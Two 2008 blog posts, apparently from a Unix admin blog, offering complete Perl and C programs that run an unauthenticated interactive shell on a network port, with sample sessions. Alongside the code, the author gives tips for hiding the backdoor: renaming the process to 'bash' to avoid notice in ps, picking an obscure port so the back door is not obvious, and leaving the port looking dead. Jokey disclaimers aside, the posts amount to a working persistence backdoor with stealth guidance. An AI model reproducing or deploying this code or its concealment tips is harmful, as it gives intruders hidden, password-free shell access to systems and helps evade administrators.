Hey again,
Today, we're following up on the promise we made in this Monday's post on running a Linux or Unix shell on a network socket and bringing you that same functionality in a Perl script. No more mucking with C code or C compilers, but the program is, of course, slightly different (slightly better in some ways, slightly not-better in others ;)
You might also check back on our follow up to the original "network port shell" post, by looking at the usage help we posted, if you run into any funky terminal I/O issues. But this script, and the sockets/shell implementation is a bit smoother and more accessible.
The script can be run easily from the command line, like this:
host # ./shell.pl 45778 <--- The port you pick is arbitrary but should be unused, and over 1024 if you are a regular user
You'll probably want to comment out the first 4 lines of code that do the error checking on the command line and just define your port within the script. That way, when you run it, it won't look quite so obvious that you're running an interactive login shell on a random port. For instance, this is how it would look normally, in ps output:host # ps -ef|grep shell
user51 8427 1 0 14:49 ? 00:00:00 /usr/bin/perl ./shell.pl
If you make that slight modification (and maybe rename the program to "sh," or "bash" or something else that normally has a ton of listings in the ps table output), you're less likely to be noticed:host # ps -ef|grep bash
user99 28727 28726 0 10:27 pts/3 00:00:00 -bash
user51 11251 11250 0 13:50 pts/2 00:00:00 ./bash
user00 15595 15153 0 13:54 pts/1 00:00:00 -bash
In the above example, it's kind of obvious which process is yours, but mixed in with 20 or 30 other regular users and all their processes, that might get missed. This is all for your convenience and lack of hassle, of course. We're assuming you're not going to be using this to do anything "wrong." That just wouldn't be "right." :)
Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!
Now, with this Perl script you'll notice two things. The first is that you won't have the "huge" problems the original C program had with input and output. For instance, this is what it will look like the first time you connect (the double PS1 prompts actually show up that way) :
host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
sh: no job control in this shell
host # id
uid=0(root) gid=0(root) groups=0(root)
host # host # ls
file1
file2
file3
host # host # pwd
/root
host # host # exit <--- This won't work because it's not really a "tty"
^]
telnet> q
Connection closed.
host # id
uid=501(user51) gid=501(user51) groups=501(user51)
You'll notice, just like before, that the shell on the socket runs as the user who kicked it off, so, even though we accessed it as a non-privileged user, we got a root shell without having to login. Be very careful if you leave this up for convenience as it can become a big problem for you if someone mischievous finds it :)
The second thing I wanted to you to notice (ok, technically, the third ;) is that the shell doesn't get spawned every other Telnet connection. For some reason (the initial disconnect, Perl's functionality or my programming skills) the shell only starts up every other time you connect. For instance, if you disconnect and reconnect, you'll get this:
host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
And no output. Just do the normal Telnet quit:
^]
telnet> q
Connection closed.
And connect again. The shell will come up like it did the first time. I'm convinced I may know what the problem is, but have no more time to work on it right now, but I also found that there's a benefit to it working this way. That is to say, when you get done, if you want to keep the shell running on the port and remain semi-stealthy, just don't connect again. Then, if anyone finds it, they'll connect to a seemingly dead port and either forget about it or kill the PID associated with the connection. Either way, the next time you need it, you'll know, even if you get no response, you just need to quit your Telnet session and reconnect to get the shell back up.
Enjoy, stay safe and have a great weekend :)
This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License#!/usr/bin/perl
#
# shell.pl - run a shell on a network socket
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
if ( $#ARGV != 0 ) {
print "Usage: $0 PortNumber\n";
exit(1);
}
use Socket;
use POSIX;
$port = $ARGV[0];
$host = "localhost";
$protocol = "tcp";
if ( $port =~ /\D/) {
$port = getservbyname($port, $protocol) || die "getservbyname ${port}/$protocol\n";;
}
$inet_address = inet_aton($host) || die "inet_aton: ${host}\n";
$port_address = sockaddr_in($port, $inet_address);
$protocol_num = getprotobyname('$protocol');
$| = 1;
socket(SOCKET, AF_INET, SOCK_STREAM, $protocol_num) || die "socket: $!";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR,1) || die "setsockopt: $!\n";
bind(SOCKET, $port_address) || die "bind: $!\n";
defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";
close(STDIN);
close(STDOUT);
close(STDERR);
setpgrp();
$SIG{HUP} = "IGNORE";
defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";
$lsock = listen(SOCKET, 5) || die "listen $!\n";
while (1) {
$shell_shock=accept(NEWSOCKET, SOCKET)|| die "accept $!\n";
dup2(STDIN,0);
dup2(STDOUT,1);
dup2(STDERR,2);
system("/bin/sh -i");
close($shell_shock);
}
close(SOCKET);
exit;
, Mike
linux unix internet technology
Friday, April 11, 2008
Perl Script To Run A Linux Or Unix Shell On A Network Port
Monday, April 7, 2008
Running A Linux Or Unix Shell On A Network Socket
Hey There,
Thought we'd start the week off with something interesting and off the administrative path. Today's post is c code that can be compiled simply, using GCC (or your favorite compiler), like so:
host # gcc -o netsock -o netsock.c
and works, at a basic level, by creating a socket (much like our earlier posts on ethically scanning ports), calling a bind operation on it and then duplicating the already existing file descriptors (which allows you to use it interactively, utilizing the server's most basic shell).
One note should be made that, depending upon how your terminal, or server, deals with stty's echo variations, you may have to be creative and "type in the dark" to get results back once you connect. Lots of socket and/or terminal I/O issues are possible and, on several machines I've tested this on, I had to be a little clever to get the shell to respond correctly. You'll see what I mean ;)
Some of this code was written by me today, some of it was written by me previously and ripped from older programs and some was collected by me over the years in helpful examples from other folks, but I think the outcome (maybe due to these facts) is fairly unique. I only wish I could give credit to the people who wrote some of the snippets of code I have on my hard drive. If you're out there and can recognize your contribution within this program: Thank you :)
This code may require some modification depending upon where your server's include files are. This was compiled and tested on an older Solaris 2.6 box. Unfortunately, this sort of activity is too high profile to test on any of our more recent machines, since the security department is always looking for signs of an attack on the newer (and production) servers.
During compile time, if you get an error like this:
sys/byteorder.h: No Such File Or Directory
You can fix that by changing that include line from:
#include <sys/byteorder.h>
to
#include <sys/endian.h>
and another common error - " error: too few arguments to function `setpgrp'"
can be remedied by changing:
setpgrp();
to:
setpgrp(getpid(),0);
or:
setpgrp(getpid(),getpid()); <--- If you're not root and going to run this on a port higher than 1024.
Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!
host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
^]
This, of course, is being published to demonstrate a principle (much like our older post on generating every possible password in a shadow file), but it could be used for more "counter-productive" reasons ;) Ethically, again, I can't recommend that you use this for any reason other than to say you did it and have a little good honest fun :) Note that the "port" defined near the top of the code is arbitrary. I try to pick one that doesn't get used very often. No sense in running this on port 80 on a web server, since a back door shouldn't be too obvious, by definition ;)
In a future post, I'll port this to Perl (I won't be porting this one to shell script, since direct socket manipulation is almost never done at that level - at least, I've never seen it. ...possible extra future post? ;)
For those of you are into doing the porting thing yourselves, checking out our previous posts on checking whether your web server is up and forked socket scripting in Perl should point you in the right direction. I think everything you'll need is in those two posts except for the file descriptor duplication (dup2) functionality.
Enjoy! Hope your week is starting off well and be careful :)
This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License/*****************************************************
* netsock.c - Open up a shell on a network socket
*
* 2008 - Mike Golvach - eggi@comcast.net
*
*Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
*****************************************************/
#define PORT 40236
#include <netdb.h> // gethostbyname
#include <signal.h> // sigignore
#include <stdio.h> // printf, sizeof, fputs, close
#include <stdlib.h> // exit
#include <strings.h> // bzero, strlen
#include <unistd.h> // fork, read, write
#include <arpa/inet.h> // inet_addr
#include <netinet/in.h> // sockaddr_in
#include <sys/byteorder.h> // htons, htonl
#include <sys/socket.h> // socket, bind, connect, listen, accept, sockaddr
#include <sys/uio.h> // recv
oops(char *message)
{
perror(message);
exit(1);
}
int socket_des, socket_cli, socket_rc, socket_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;
int main ()
{
socket_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (socket_des == -1) exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
socket_rc = bind(socket_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (socket_rc != 0) exit(-1);
if (fork() != 0) exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0) exit(0);
socket_rc = listen(socket_des, 5);
if (socket_rc != 0) exit(0);
while (1) {
socket_len = sizeof(client_addr);
socket_cli = accept(socket_des, (struct sockaddr *) &client_addr, &socket_len);
if (socket_cli < 0) exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(socket_cli,0);
dup2(socket_cli,1);
dup2(socket_cli,2);
execl("/bin/sh","sh",(char *)0);
close(socket_cli);
exit(0); }
close(socket_cli);
}
}
, Mike
linux unix internet technology

